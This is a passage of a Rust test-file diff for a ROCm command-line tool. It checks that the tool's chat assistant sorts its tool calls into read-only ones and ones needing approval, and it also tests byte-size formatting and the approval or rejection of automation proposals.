assert_eq!(approval.command_title, "ComfyUI"); assert_eq!( - visible_chat_content("Before\nhidden\nAfter"), - "Before\n\nAfter" + approval.args, + vec![ + "comfyui".to_owned(), + "install".to_owned(), + "--yes".to_owned() + ] ); - assert_eq!(visible_chat_content("unfinished"), ""); - } - #[test] - fn chat_tool_result_errors_use_plain_failure_wording() { - assert_eq!(chat_read_only_tool_status_label(false), "done"); - assert_eq!(chat_read_only_tool_status_label(true), "reported an error"); - assert_eq!(chat_tool_display_label("examine"), "Checked this computer"); + let lemonade = providers::ChatToolCall { + id: Some("call-lemonade".to_owned()), + name: "rocm_command".to_owned(), + arguments: serde_json::json!({ + "args": ["engines", "install", "lemonade"] + }), + }; + validate_chat_tool_call(&lemonade).expect("lemonade engine install should validate"); + assert!(!chat_tool_call_is_read_only(&lemonade)); assert_eq!( - chat_tool_display_label("gpu_snapshot"), - "Checked GPU status" + rocm_chat_tool_requested_command(&lemonade).as_deref(), + Some("rocm engines install lemonade") ); - assert_eq!(chat_tool_display_label("install_sdk"), "Install ROCm"); - assert!(mcp_tool_result_is_error(&serde_json::json!({ - "isError": true - }))); - assert!(!mcp_tool_result_is_error(&serde_json::json!({ - "isError": false - }))); - assert!(!mcp_tool_result_is_error(&serde_json::json!({}))); - } - - #[test] - fn local_chat_without_service_explains_serve_before_chat_without_llm_setup() { - let (_root, paths) = test_paths("local-chat-no-service-guidance"); - let result = - render_chat_prompt_result(&paths, "local", None, "Check this ROCm setup", true) - .expect("missing local assistant should render guidance"); - assert!(result.approval.is_none()); - let rendered = result.rendered; - - assert!(rendered.contains("No local assistant is running yet.")); - assert!(rendered.contains("First-time ROCm setup does not need an LLM")); - assert!(rendered.contains("Recommended path:")); - assert!(rendered.contains("Advanced manual command")); - assert!(rendered.contains( - "rocm serve Qwen3-4B-Instruct-2507-GGUF --engine lemonade --device gpu_required --managed" - )); - assert!(!rendered.contains("sshleifer/tiny-gpt2")); - assert!(rendered.contains("rocm chat --tools --provider local --prompt")); - assert!(rendered.contains("Nothing was changed.")); - assert!(!rendered.contains("install sdk")); - assert!(!rendered.contains("setup TheRock with an LLM")); - } - - #[test] - fn local_chat_status_prompts_use_read_only_tools_without_assistant() -> Result<()> { - let (_root, paths) = test_paths("local-chat-status-fallback"); + let approval = + chat_tool_approval_request(&lemonade, Some("Install Lemonade for local serving.")) + .expect("approval should be built"); + assert_eq!(approval.pending_title, "Install engine"); + assert_eq!(approval.command_title, "Engine"); - let running = - render_chat_prompt_result(&paths, "local", None, "Is vLLM running?", true)?.rendered; - assert!(!running.contains("No local assistant is running yet.")); - assert!(running.contains("Checked model servers: done"), "{running}"); - assert!(running.contains("ROCm CLI summary"), "{running}"); - assert!( - running.contains("Local model servers: none running under ROCm CLI."), - "{running}" + let vllm = providers::ChatToolCall { + id: Some("call-vllm".to_owned()), + name: "rocm_command".to_owned(), + arguments: serde_json::json!({ + "args": ["engines", "install", "vllm"] + }), + }; + validate_chat_tool_call(&vllm).expect("vLLM engine install should validate"); + assert!(!chat_tool_call_is_read_only(&vllm)); + assert_eq!( + rocm_chat_tool_requested_command(&vllm).as_deref(), + Some("rocm engines install vllm") ); - assert!(running.contains("Nothing was changed.")); + let approval = chat_tool_approval_request(&vllm, Some("Install vLLM for Linux/WSL.")) + .expect("approval should be built"); + assert_eq!(approval.pending_title, "Install engine"); + assert_eq!(approval.command_title, "Engine"); - let installed = - render_chat_prompt_result(&paths, "local", None, "Is vLLM installed?", true)?.rendered; - assert!(!installed.contains("No local assistant is running yet.")); - assert!(installed.contains("Engine runtimes:"), "{installed}"); - assert!(installed.contains("vLLM:"), "{installed}"); + let comfy_start = providers::ChatToolCall { + id: Some("call-comfy-start".to_owned()), + name: "rocm_command".to_owned(), + arguments: serde_json::json!({ + "args": ["comfyui", "start"] + }), + }; + validate_chat_tool_call(&comfy_start).expect("ComfyUI start should validate"); + assert!(!chat_tool_call_is_read_only(&comfy_start)); + let approval = chat_tool_approval_request(&comfy_start, Some("Start ComfyUI locally.")) + .expect("approval should be built"); + assert_eq!(approval.pending_title, "Start ComfyUI"); + assert_eq!(approval.command_title, "ComfyUI"); - let installed_and_running = render_chat_prompt_result( - &paths, - "local", - None, - "Is vLLM installed and is it running?", - true, - )? - .rendered; - assert!( - installed_and_running.contains("Checked local engines: done"), - "{installed_and_running}" - ); - assert!( - installed_and_running.contains("Checked model servers: done"), - "{installed_and_running}" - ); - assert!( - installed_and_running.contains("Engine runtimes:"), - "{installed_and_running}" + let serve = providers::ChatToolCall { + id: Some("call-serve".to_owned()), + name: "rocm_command".to_owned(), + arguments: serde_json::json!({ + "args": ["serve", "qwen", "--engine", "vllm", "--device", "gpu_required", "--managed"] + }), + }; + validate_chat_tool_call(&serve).expect("managed serve should validate"); + assert!(!chat_tool_call_is_read_only(&serve)); + assert_eq!( + rocm_chat_tool_requested_command(&serve).as_deref(), + Some("rocm serve qwen --engine vllm --device gpu_required --managed") ); - assert!( - installed_and_running.contains("Local model servers: none running under ROCm CLI."), - "{installed_and_running}" + let approval = chat_tool_approval_request(&serve, Some("Start the recommended assistant.")) + .expect("approval should be built"); + assert_eq!(approval.pending_title, "Start local model server"); + assert_eq!(approval.command_title, "Serve"); + + let vllm_serve = providers::ChatToolCall { + id: Some("call-vllm-serve".to_owned()), + name: "rocm_command".to_owned(), + arguments: serde_json::json!({ + "args": ["serve", "Qwen/Qwen3.5-4B", "--engine", "vllm", "--device", "gpu_required", "--managed"] + }), + }; + validate_chat_tool_call(&vllm_serve).expect("managed vLLM serve should validate"); + assert!(!chat_tool_call_is_read_only(&vllm_serve)); + assert_eq!( + rocm_chat_tool_requested_command(&vllm_serve).as_deref(), + Some("rocm serve Qwen/Qwen3.5-4B --engine vllm --device gpu_required --managed") ); - let port = render_chat_prompt_result( - &paths, - "local", - None, - "What is running on port 8188?", - true, - )? - .rendered; - assert!(!port.contains("No local assistant is running yet.")); - assert!(port.contains("Checked local port: done"), "{port}"); - assert!(port.contains("Port 8188:"), "{port}"); - Ok(()) + let config = providers::ChatToolCall { + id: Some("call-config".to_owned()), + name: "rocm_command".to_owned(), + arguments: serde_json::json!({ + "args": ["config", "set-default-engine", "vllm"] + }), + }; + validate_chat_tool_call(&config).expect("config change should validate"); + assert!(!chat_tool_call_is_read_only(&config)); + let approval = chat_tool_approval_request(&config, Some("Use vLLM as the default engine.")) + .expect("approval should be built"); + assert_eq!(approval.pending_title, "Change settings"); + assert_eq!(approval.command_title, "Config"); } #[test] - fn chat_tools_anthropic_reaches_provider_opt_in_boundary() { - let (_root, paths) = test_paths("anthropic-chat-tools-opt-in"); - - let error = render_chat_prompt_result( - &paths, - "anthropic", - Some("claude-test"), - "Check this ROCm setup", - true, - ) - .unwrap_err() - .to_string(); - - assert!(error.contains("cloud provider `anthropic` is disabled")); - assert!(error.contains("rocm config enable-provider anthropic")); - assert!(!error.contains("OpenAI-compatible provider")); + fn setup_status_is_read_only() { + for args in [ + vec!["setup".to_owned()], + vec!["setup".to_owned(), "status".to_owned()], + ] { + let action = + chat_rocm_command_action_from_args(args.clone()).expect("setup status classifies"); + assert!( + matches!(action, ChatRocmCommandAction::ReadOnly(_)), + "setup {args:?} should be read-only, got {action:?}" + ); + } } #[test] - fn freeform_execution_validation_rejects_provider_assisted_plans() -> Result<()> { - let content = r#"{ - "intent": "serve", - "tool_call": { - "tool": "rocm", - "args": ["serve", "sshleifer/tiny-gpt2", "--engine", "vllm", "--managed"] - } - }"#; - let plan = provider_planner_response_to_plan("start a local model", "local", content)?; - let action = plan_next_action(plan).expect("provider plan should have an action"); - - let error = validate_freeform_execution_action(&action) - .unwrap_err() - .to_string(); + fn storage_report_is_read_only_and_removal_requires_approval() { + for args in [ + vec!["storage".to_owned()], + vec!["storage".to_owned(), "report".to_owned()], + ] { + let action = chat_rocm_command_action_from_args(args.clone()) + .expect("storage report classifies"); + assert!( + matches!(action, ChatRocmCommandAction::ReadOnly(_)), + "storage {args:?} only measures folders, so it should be read-only, got {action:?}" + ); + } - assert!(action.provider_assisted); - assert!(error.contains("reviewed interactively")); - Ok(()) + for verb in ["remove-old-installs", "remove-downloads"] { + let action = + chat_rocm_command_action_from_args(vec!["storage".to_owned(), verb.to_owned()]) + .expect("storage removal classifies"); + match action { + ChatRocmCommandAction::Approval { args, .. } => { + assert!( + args.iter().any(|arg| arg == "--yes"), + "approved removal runs non-interactively: {args:?}" + ); + } + other @ ChatRocmCommandAction::ReadOnly(_) => { + panic!("storage {verb} must require approval, got {other:?}") + } + } + } } #[test] - fn render_update_text_reports_all_update_surfaces() -> Result<()> { - let (root, paths) = test_paths("update-surfaces"); - - let rendered = render_update_text(&paths)?; - fs::remove_dir_all(root).ok(); - - assert!(rendered.contains("update_surfaces:")); - assert!(rendered.contains("cli: installed=")); - assert!(rendered.contains("status=not_configured")); - assert!(rendered.contains("engines: status=package_managed")); - assert!(rendered.contains("model_recipes: status=")); - assert!(rendered.contains("runtimes: status=none_configured")); - assert!(rendered.contains("`rocm update --apply` applies runtime updates only")); - Ok(()) + fn format_bytes_steps_up_instead_of_printing_1024_of_the_smaller_unit() { + assert_eq!(format_bytes(1023), "1023 bytes"); + assert_eq!(format_bytes(1024), "1.0 KiB"); + // One byte short of the next unit used to round to "1024.0 KiB". + assert_eq!(format_bytes(1_048_575), "1.0 MiB"); + assert_eq!(format_bytes(1_048_576), "1.0 MiB"); + assert_eq!(format_bytes(1_073_741_823), "1.0 GiB"); } + /// Just below a unit boundary the value rounds up to a full 1024 of the + /// SMALLER unit, which has to be reported as 1.0 of the larger one — the + /// same defect `rocm_core::format_bytes` had. Each pair is the last input + /// that still belongs to the smaller unit and the first that `{:.1}` rounds + /// up to 1024.0 of it; the second used to print "1024.0 KB" / "1024.0 MB". #[test] - fn render_logs_text_preserves_directory_summary() { - let (_root, paths) = test_paths("logs-summary"); - let rendered = render_logs_text(&paths); - - assert!(rendered.contains("Logs")); - assert!(rendered.contains("File locations: shown")); - assert!(rendered.contains(&format!( - " Folder: {}", - paths.data_dir.join("logs").display() - ))); - assert!(rendered.contains(&format!( - " Activity log: {}", - cli_lifecycle_log_path(&paths).display() - ))); - assert!(rendered.contains(" Command logs:")); - assert!(rendered.contains(" Screen command logs:")); - assert!(rendered.contains(&format!( - " Audit events: {}", - paths.audit_events_path().display() - ))); - assert!(rendered.contains(" Recent command files: none yet")); - assert!(rendered.contains("Recent activity: no activity yet")); - assert!(rendered.contains("Matching lines")); - assert!(rendered.contains(" Search: none")); - assert!(rendered.contains(" No logs found yet.")); + fn format_bytes_for_user_promotes_a_value_that_rounds_up_to_a_full_unit() { + assert_eq!(format_bytes_for_user(1023), "1023 bytes"); + assert_eq!(format_bytes_for_user(1024), "1.0 KB"); + assert_eq!(format_bytes_for_user(1_048_524), "1023.9 KB"); + assert_eq!(format_bytes_for_user(1_048_525), "1.0 MB"); + assert_eq!(format_bytes_for_user(1_048_575), "1.0 MB"); + assert_eq!(format_bytes_for_user(1_048_576), "1.0 MB"); + assert_eq!(format_bytes_for_user(1_073_689_395), "1023.9 MB"); + assert_eq!(format_bytes_for_user(1_073_689_396), "1.0 GB"); + assert_eq!(format_bytes_for_user(1_073_741_823), "1.0 GB"); + // GB is the top unit: nothing to promote to, so 1024 GB stays in it. + assert_eq!(format_bytes_for_user(1_099_511_627_776), "1024.0 GB"); } - #[test] - fn render_logs_text_lists_action_logs_and_recent_lifecycle_tail() -> Result<()> { - let (root, paths) = test_paths("logs-navigation"); - fs::create_dir_all(paths.data_dir.join("logs").join("cli"))?; - fs::write( - cli_lifecycle_log_path(&paths), - (0..10).fold(String::new(), |mut acc, index| { - let _ = writeln!( - acc, - "{index} level=info category=runtime action=install_sdk message=event-{index}" - ); - acc - }), - )?; - fs::write( - paths - .data_dir - .join("logs") - .join("cli") - .join("runtime-install_sdk.log"), - "install event\n", - )?; - fs::write( - paths - .data_dir - .join("logs") - .join("cli") - .join("update-update_check.log"), - "update event\n", - )?; + /// The units `format_bytes_for_user` prints, smallest first. + const USER_BYTE_UNITS: [&str; 4] = ["bytes", "KB", "MB", "GB"]; - let rendered = render_logs_text(&paths); + /// Byte counts that actually visit the unit boundaries. A uniform `u64` + /// almost always lands far above the top unit, so on its own it never + /// samples the band where `{:.1}` rounding reaches 1024.0. The other arms + /// draw uniformly within one unit's range, and from a window just below + /// each rounded boundary (KB→MB, MB→GB) that scales with the boundary, as + /// the band does — see `rocm_core::disk_space`'s generator for the full + /// reasoning. + fn user_byte_count_strategy() -> impl proptest::strategy::Strategy { + use proptest::prelude::*; + prop_oneof![ + any::(), + (0u32..=3).prop_flat_map(|exponent| { + let low = if exponent == 0 { + 0 + } else { + 1024u64.pow(exponent) + }; + low..1024u64.pow(exponent + 1) + }), + (2u32..=3).prop_flat_map(|exponent| { + let boundary = 1024u64.pow(exponent); + (boundary - boundary / 16384)..=(boundary + 1) + }), + ] + } - assert!(rendered.contains(" Recent command files:")); - assert!(rendered.contains("runtime-install_sdk.log")); - assert!(rendered.contains("update-update_check.log")); - assert!(rendered.contains("Recent activity: last 8 line(s)")); - assert!(!rendered.contains("event-0")); - assert!(!rendered.contains("event-1")); - assert!(rendered.contains("Install: event-2")); - assert!(rendered.contains("event-2")); - assert!(rendered.contains("event-9")); - assert!(rendered.contains(" Lines: 10 of 10 recent line(s)")); - assert!(rendered.contains(" command log runtime-install_sdk.log: install event")); - let _ = fs::remove_dir_all(root); - Ok(()) + proptest::proptest! { + /// A size is rendered in the unit it belongs to, which has two edges. + /// + /// Upper: below the top unit, the printed mantissa is under 1024.0 — + /// otherwise the size is shown in a unit it has outgrown. + /// + /// Lower: above `bytes`, the printed mantissa is at least 1.0, and the + /// next smaller unit would have printed 1024.0 or more — otherwise the + /// size was promoted before it reached a whole unit. + /// + /// Both edges compare the mantissa as printed, in tenths: that is the + /// quantity a reader sees, so it is the one the scaling has to decide on. + #[test] + fn format_bytes_for_user_renders_a_size_in_its_own_unit( + bytes in user_byte_count_strategy(), + ) { + let rendered = format_bytes_for_user(bytes); + let (value, unit) = rendered + .split_once(' ') + .expect("rendered size is ` `"); + let value: f64 = value.parse().expect("numeric part parses"); + let tenths = (value * 10.0).round(); + let exponent = USER_BYTE_UNITS + .iter() + .position(|name| *name == unit) + .expect("rendered unit is one of the known units"); + if exponent + 1 < USER_BYTE_UNITS.len() { + proptest::prop_assert!( + tenths < 10_240.0, + "{bytes} rendered as {rendered}, which should have been \ + promoted to the next unit", + ); + } + if exponent > 0 { + proptest::prop_assert!( + tenths >= 10.0, + "{bytes} rendered as {rendered}, which was promoted before \ + it reached a whole unit", + ); + // Dividing by a power of two is exact, so this is the value the + // smaller unit would have printed, not an approximation of it. + let smaller = (1..exponent).fold(bytes as f64, |value, _| value / 1024.0); + proptest::prop_assert!( + (smaller * 10.0).round() >= 10_240.0, + "{bytes} rendered as {rendered}, but still fits the smaller \ + unit as {smaller:.1} {}", + USER_BYTE_UNITS[exponent - 1], + ); + } + } } #[test] - fn render_logs_text_lists_screen_command_logs() -> Result<()> { - let (root, paths) = test_paths("logs-screen-command"); - let screen_dir = paths.data_dir.join("logs").join("tui"); - fs::create_dir_all(&screen_dir)?; - let screen_log = screen_dir.join("12345-install-the-rock-sdk.log"); - fs::write( - &screen_log, - "title: Install TheRock SDK\n\ - recent_live_output:\n\ - Output: resolving torch wheels\n\ - command_output:\n\ - stdout:\n\ - resolved torch\n", - )?; - - let rendered = render_logs_text(&paths); - - assert!(rendered.contains(" Screen command logs:")); - assert!(rendered.contains("screen/12345-install-the-rock-sdk.log")); - assert!(rendered.contains("screen command log 12345-install-the-rock-sdk.log")); - assert!(rendered.contains("Output: resolving torch wheels")); - assert!(rendered.contains(" Lines: 6 of 6 recent line(s)")); - let filtered = render_logs_browser_text(&paths, Some("torch wheels")); - assert!(filtered.contains("Search: torch wheels")); - assert!(filtered.contains("Output: resolving torch wheels")); - assert!(filtered.contains("screen command log 12345-install-the-rock-sdk.log")); - let _ = fs::remove_dir_all(root); - Ok(()) + fn setup_reset_requires_approval() { + let action = + chat_rocm_command_action_from_args(vec!["setup".to_owned(), "reset".to_owned()]) + .expect("setup reset classifies"); + match action { + ChatRocmCommandAction::Approval { + pending_title, + command_title, + .. + } => { + assert_eq!(pending_title, "Reset first-time setup"); + assert_eq!(command_title, "Setup"); + } + other @ ChatRocmCommandAction::ReadOnly(_) => { + panic!("setup reset should require approval, got {other:?}") + } + } } #[test] - fn render_logs_browser_text_filters_lifecycle_and_action_logs() -> Result<()> { - let (root, paths) = test_paths("logs-browser-search"); - fs::create_dir_all(paths.data_dir.join("logs").join("cli"))?; - fs::write( - cli_lifecycle_log_path(&paths), - "1 level=info category=runtime action=install_sdk message=installed sdk\n\ - 2 level=info category=service action=serve message=server ready\n", - )?; - fs::write( - paths - .data_dir - .join("logs") - .join("cli") - .join("service-serve.log"), - "server ready\nmodel warmed\n", - )?; - - let rendered = render_logs_browser_text(&paths, Some("server")); - - assert!(rendered.contains(" Search: server")); - assert!(rendered.contains(" Lines: 2 of 4 recent line(s)")); - assert!(rendered.contains(" recent activity: Service event: server ready")); - assert!(rendered.contains(" command log service-serve.log: server ready")); - assert!(!rendered.contains("installed sdk")); - let _ = fs::remove_dir_all(root); - Ok(()) + fn proposal_action_show_is_read_only() { + let call = providers::ChatToolCall { + id: None, + name: "proposal_action".to_owned(), + arguments: serde_json::json!({ "proposal_id": "p1", "action": "show" }), + }; + validate_chat_tool_call(&call).expect("show validates"); + assert!( + chat_tool_call_is_read_only(&call), + "proposal_action show must be read-only" + ); } #[test] - fn render_logs_browser_page_text_paginates_matching_lines() -> Result<()> { - let (root, paths) = test_paths("logs-browser-pages"); - let action_dir = paths.data_dir.join("logs").join("cli"); - fs::create_dir_all(&action_dir)?; - fs::write(action_dir.join("a.log"), "alpha-1\nalpha-2\nalpha-3\n")?; - fs::write(action_dir.join("b.log"), "alpha-4\nalpha-5\nalpha-6\n")?; - - let rendered = render_logs_browser_page_text(&paths, Some("alpha"), 1, 4); - - assert!(rendered.contains(" Page: 2 of 2")); - assert!(rendered.contains(" Showing: 5-6 of 6")); - assert!(!rendered.contains("alpha-1")); - assert!(rendered.contains("alpha-5")); - let _ = fs::remove_dir_all(root); - Ok(()) + fn proposal_action_approve_requires_approval() { + for action in ["approve", "reject"] { + let call = providers::ChatToolCall { + id: None, + name: "proposal_action".to_owned(), + arguments: serde_json::json!({ "proposal_id": "p1", "action": action }), + }; + validate_chat_tool_call(&call).expect("approve/reject validates"); + assert!( + !chat_tool_call_is_read_only(&call), + "proposal_action {action} must NOT be read-only" + ); + let req = chat_tool_approval_request(&call, None).unwrap_or_else(|err| { + panic!("proposal_action {action} should need approval: {err}") + }); + assert_eq!(req.command_title, "Reviews"); + assert!( + req.pending_title.contains("proposal") || req.pending_title.contains("Proposal") + ); + assert!( + req.display_command + .as_deref() + .unwrap_or_default() + .contains("p1"), + "display command should show the proposal id" + ); + } } #[test] - fn cli_lifecycle_tail_lines_render_compactly() { - let rendered = format_cli_lifecycle_tail_line( - "42 level=error category=runtime action=install_sdk service_id= message=line one", + fn proposal_action_rejects_unknown_action() { + let call = providers::ChatToolCall { + id: None, + name: "proposal_action".to_owned(), + arguments: serde_json::json!({ "proposal_id": "p1", "action": "delete" }), + }; + assert!( + validate_chat_tool_call(&call).is_err(), + "unknown proposal_action `action` must be rejected" ); - - assert_eq!(rendered, "Install (error): line one"); } #[test] - fn render_service_logs_text_tails_manifest_log() -> Result<()> { - let (root, paths) = test_paths("service-logs"); - paths.ensure()?; + fn proposal_action_approve_updates_status() { + let (root, paths) = test_paths("proposal-approve"); + // Seed a pending proposal. + let proposal = rocm_core::AutomationProposalRecord { + at_unix_ms: rocm_core::unix_time_millis(), + proposal_id: "prop-approve-1".to_owned(), + watcher_id: "therock-update".to_owned(), + action: "prepare_driver_plan".to_owned(), + title: "Apply driver plan".to_owned(), + message: "A reviewed driver plan is ready.".to_owned(), + status: "pending".to_owned(), + service_id: None, + tool: None, + arguments: serde_json::Value::Null, + reviewed_at_unix_ms: None, + }; + rocm_core::append_automation_proposal(&paths, &proposal).expect("seed proposal"); - let mut record = ManagedServiceRecord::new( + // show is read-only and returns the proposal. + let shown = run_internal_mcp_call( &paths, - "svc_qwen35_primary", - "vllm", - "qwen3.5", - "Qwen/Qwen3.5", - "127.0.0.1", - 11435, - "managed", - std::process::id(), - Some("therock-release".to_owned()), - None, - Some("gpu_preferred".to_owned()), - ); - record.status = "ready".to_owned(); - record.write()?; + "proposal_action", + serde_json::json!({ "proposal_id": "prop-approve-1", "action": "show" }), + false, + ) + .expect("show ok"); + assert_eq!(shown["structuredContent"]["status"], "pending"); - let mut log = String::new(); - for index in 1..=90 { - let _ = writeln!(log, "entry-{index:03}"); - } - fs::write(&record.log_path, log)?; + // approve requires allow_mutation. + assert!( + run_internal_mcp_call( + &paths, + "proposal_action", + serde_json::json!({ "proposal_id": "prop-approve-1", "action": "approve" }), + false, + ) + .is_err(), + "approve without allow_mutation must bail" + ); - let rendered = render_service_logs_text(&paths, "svc_qwen35_primary")?; - assert!(rendered.contains("Service Log")); - assert!(rendered.contains("Service: svc_qwen35_primary")); - assert!(rendered.contains("Engine: vllm")); - assert!(rendered.contains("Status: starting")); - assert!(rendered.contains("File locations: shown")); - assert!(rendered.contains(&format!( - " Details file: {}", - record.manifest_path.display() - ))); - assert!(rendered.contains(&format!(" Log file: {}", record.log_path.display()))); - assert!(!rendered.contains("entry-010")); - assert!(rendered.contains("entry-011")); - assert!(rendered.contains("entry-090")); + // approve with allow_mutation sets status to approved. + let approved = run_internal_mcp_call( + &paths, + "proposal_action", + serde_json::json!({ "proposal_id": "prop-approve-1", "action": "approve" }), + true, + ) + .expect("approve ok"); + assert_eq!(approved["structuredContent"]["status"], "approved"); + let stored = rocm_core::find_automation_proposal(&paths, "prop-approve-1") + .expect("proposal still present"); + assert_eq!(stored.status, "approved"); - let _ = fs::remove_dir_all(root); - Ok(()) + let _ = fs::remove_dir_all(&root); } #[test] - fn render_services_text_lists_live_services_by_default_and_all_on_request() -> Result<()> { - use std::io::{Read, Write}; - use std::net::TcpListener; + fn proposal_action_reject_updates_status() { + let (root, paths) = test_paths("proposal-reject"); + let proposal = rocm_core::AutomationProposalRecord { + at_unix_ms: rocm_core::unix_time_millis(), + proposal_id: "prop-reject-1".to_owned(), + watcher_id: "server-recover".to_owned(), + action: "queue_stop_server_proposal".to_owned(), + title: "Stop overheating server".to_owned(), + message: "GPU thermal pressure detected.".to_owned(), + status: "pending".to_owned(), + service_id: None, + tool: None, + arguments: serde_json::Value::Null, + reviewed_at_unix_ms: None, + }; + rocm_core::append_automation_proposal(&paths, &proposal).expect("seed proposal"); - let (root, paths) = test_paths("services-list"); - paths.ensure()?; - let listener = TcpListener::bind(("127.0.0.1", 0))?; - let ready_port = listener.local_addr()?.port(); - // The ready service is listed and then asked to complete a request: - // readiness is not granted on the model listing alone. - let server = thread::spawn(move || -> Result<()> { - for _ in 0..2 { - let (mut stream, _) = listener.accept()?; - stream.set_read_timeout(Some(Duration::from_secs(2)))?; - let mut request = [0_u8; 512]; - let read = stream.read(&mut request)?; - let request = String::from_utf8_lossy(&request[..read]).into_owned(); - let body = if request.starts_with("POST /v1/chat/completions ") { - r#"{"choices":[{"message":{"content":"ok"}}]}"# - } else { - r#"{"data":[{"id":"Qwen/Qwen3.5"}]}"# - }; - write!( - stream, - "HTTP/1.1 200 OK\r\nContent-Type: application/json\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{}", - body.len(), - body - )?; - } - Ok(()) - }); - let current_pid = std::process::id(); + let rejected = run_internal_mcp_call( + &paths, + "proposal_action", + serde_json::json!({ "proposal_id": "prop-reject-1", "action": "reject" }), + true, + ) + .expect("reject ok"); + assert_eq!(rejected["structuredContent"]["status"], "rejected"); + let stored = rocm_core::find_automation_proposal(&paths, "prop-reject-1") + .expect("proposal still present"); + assert_eq!(stored.status, "rejected"); - for (service_id, status, port) in [ - ("svc-ready", "ready", ready_port), - ("svc-starting", "starting", 11436_u16), - ("svc-failed", "failed", 11437_u16), - ] { - let mut record = ManagedServiceRecord::new( + let _ = fs::remove_dir_all(&root); + } + + #[test] + fn proposal_action_show_missing_proposal_errors() { + let (root, paths) = test_paths("proposal-missing"); + assert!( + run_internal_mcp_call( &paths, - service_id, - "vllm", - "qwen", - "Qwen/Qwen3.5", - "127.0.0.1", - port, - "managed", - current_pid, - Some("therock-release".to_owned()), - None, - Some("gpu_required".to_owned()), - ); - record.status = status.to_owned(); - record.write()?; + "proposal_action", + serde_json::json!({ "proposal_id": "nope", "action": "show" }), + false, + ) + .is_err(), + "showing a missing proposal must error" + ); + let _ = fs::remove_dir_all(&root); + } + + #[test] + fn config_set_permissions_classifies_as_approval() { + // Permission escalation MUST route through approval — the classifier + // routes any `config ` (catch-all) to Approval. Verify both modes. + for mode in ["full_access", "ask"] { + let action = chat_rocm_command_action_from_args(vec![ + "config".to_owned(), + "set-permissions".to_owned(), + mode.to_owned(), + ]) + .expect("config set-permissions classifies"); + match action { + ChatRocmCommandAction::Approval { command_title, .. } => { + assert_eq!(command_title, "Config"); + } + other @ ChatRocmCommandAction::ReadOnly(_) => { + panic!("config set-permissions {mode} must need approval, got {other:?}") + } + } } + } - let rendered = render_services_text(&paths, false)?; - server - .join() - .expect("fake models server should not panic")?; - let all = render_services_text(&paths, true)?; - let _ = fs::remove_dir_all(root); + #[test] + fn config_set_permissions_sets_mode() { + // The SetPermissions handler logic: set permissions.mode, save, reload. + let (root, paths) = test_paths("config-permissions"); + let mut config = RocmCliConfig::load(&paths).expect("load default config"); + assert_eq!(config.permissions.mode_label(), PERMISSIONS_MODE_ASK); + // Mirror the SetPermissions handler mutation. + config.permissions.mode = PermissionsModeArg::FullAccess.as_str().to_owned(); + config.save(&paths).expect("save config"); + let reloaded = RocmCliConfig::load(&paths).expect("reload config"); + assert_eq!( + reloaded.permissions.mode_label(), + PERMISSIONS_MODE_FULL_ACCESS + ); + assert!(reloaded.permissions.full_access_enabled()); + // And back to ask. + let mut config = reloaded; + config.permissions.mode = PermissionsModeArg::Ask.as_str().to_owned(); + config.save(&paths).expect("save config"); + let reloaded = RocmCliConfig::load(&paths).expect("reload config"); + assert_eq!(reloaded.permissions.mode_label(), PERMISSIONS_MODE_ASK); + let _ = fs::remove_dir_all(&root); + } - assert!(rendered.contains("Local Servers")); - // The header counts the whole registry, so the hidden `failed` record - // is admitted to rather than silently dropped from the default view. + #[test] + fn watcher_validator_rejects_unknown_and_invalid_mode() { + // Unknown watcher id → rejected. + let unknown = providers::ChatToolCall { + id: None, + name: "watcher_enable".to_owned(), + arguments: serde_json::json!({ "watcher": "no-such-watcher" }), + }; assert!( - rendered.contains("Status: 1 ready, 1 starting, 1 not running"), - "{rendered}" + validate_chat_watcher_tool_call(&unknown, true).is_err(), + "unknown watcher must be rejected" ); + // Invalid mode → rejected. + let bad_mode = providers::ChatToolCall { + id: None, + name: "watcher_enable".to_owned(), + arguments: serde_json::json!({ "watcher": "therock-update", "mode": "rampage" }), + }; assert!( - rendered - .contains("Past attempts: 1 local server record(s) that are no longer running."), - "{rendered}" + validate_chat_watcher_tool_call(&bad_mode, true).is_err(), + "invalid watcher mode must be rejected" ); + // Valid watcher + valid mode → accepted. + let ok = providers::ChatToolCall { + id: None, + name: "watcher_enable".to_owned(), + arguments: serde_json::json!({ "watcher": "therock-update", "mode": "observe" }), + }; + validate_chat_watcher_tool_call(&ok, true).expect("valid watcher+mode accepted"); + // Disable must reject a `mode`. + let disable_with_mode = providers::ChatToolCall { + id: None, + name: "watcher_disable".to_owned(), + arguments: serde_json::json!({ "watcher": "therock-update", "mode": "observe" }), + }; assert!( - rendered.contains(" Read the newest: rocm services logs svc-failed"), - "{rendered}" + validate_chat_watcher_tool_call(&disable_with_mode, false).is_err(), + "disable must reject a mode argument" ); - assert!(rendered.contains("- svc-ready")); - assert!(rendered.contains(" stop: rocm services stop svc-ready --yes")); - assert!(!rendered.contains("- svc-failed")); - assert!(all.contains("- svc-failed")); - assert!(all.contains(" restart: rocm services restart svc-failed --yes")); - assert!(!rendered.contains("running servers")); - Ok(()) } - /// The default view lists only live servers. The counts used to be taken - /// from that already-filtered list, so a host whose local servers had all - /// failed was told "none ready" and shown an empty list - the records were - /// on disk, unmentioned, and nothing on screen said how to reach them. - /// Counts now come from the unfiltered registry; the rows stay filtered. #[test] - fn render_services_text_surfaces_records_the_default_view_hides() -> Result<()> { - let (root, paths) = test_paths("services-past-attempts-only"); - paths.ensure()?; - // Not live, so `refresh_managed_service_runtime_liveness` returns before - // any endpoint probe or pid check: no network, no timing dependence. - for (service_id, created_at) in [("svc-older", 1_000_u128), ("svc-newest", 2_000_u128)] { - let mut record = ManagedServiceRecord::new( - &paths, - service_id, - "vllm", - "qwen", - "Qwen/Qwen3.5", - "127.0.0.1", - 11500, - "managed", - 999_999_999, - None, - None, - None, + fn lifecycle_read_mutate_split_is_honest() { + let read_only = [ + vec!["update".to_owned()], + vec!["comfyui".to_owned(), "status".to_owned()], + vec!["comfyui".to_owned(), "logs".to_owned()], + vec!["uninstall".to_owned(), "--dry-run".to_owned()], + vec!["setup".to_owned(), "status".to_owned()], + vec![ + "runtimes".to_owned(), + "uninstall".to_owned(), + "old-runtime".to_owned(), + "--dry-run".to_owned(), + ], + vec![ + "runtimes".to_owned(), + "remove".to_owned(), + "old-runtime".to_owned(), + "--dry-run".to_owned(), + ], + // Must agree with the daemon's `ensure_rocm_command_is_read_only`. + // Its comment claims the two are mirrored, and nothing enforced + // that — the arm was added there and not here, and the classifiers + // disagreed until a reviewer noticed. + vec!["remote".to_owned(), "targets".to_owned()], + vec![ + "remote".to_owned(), + "doctor".to_owned(), + 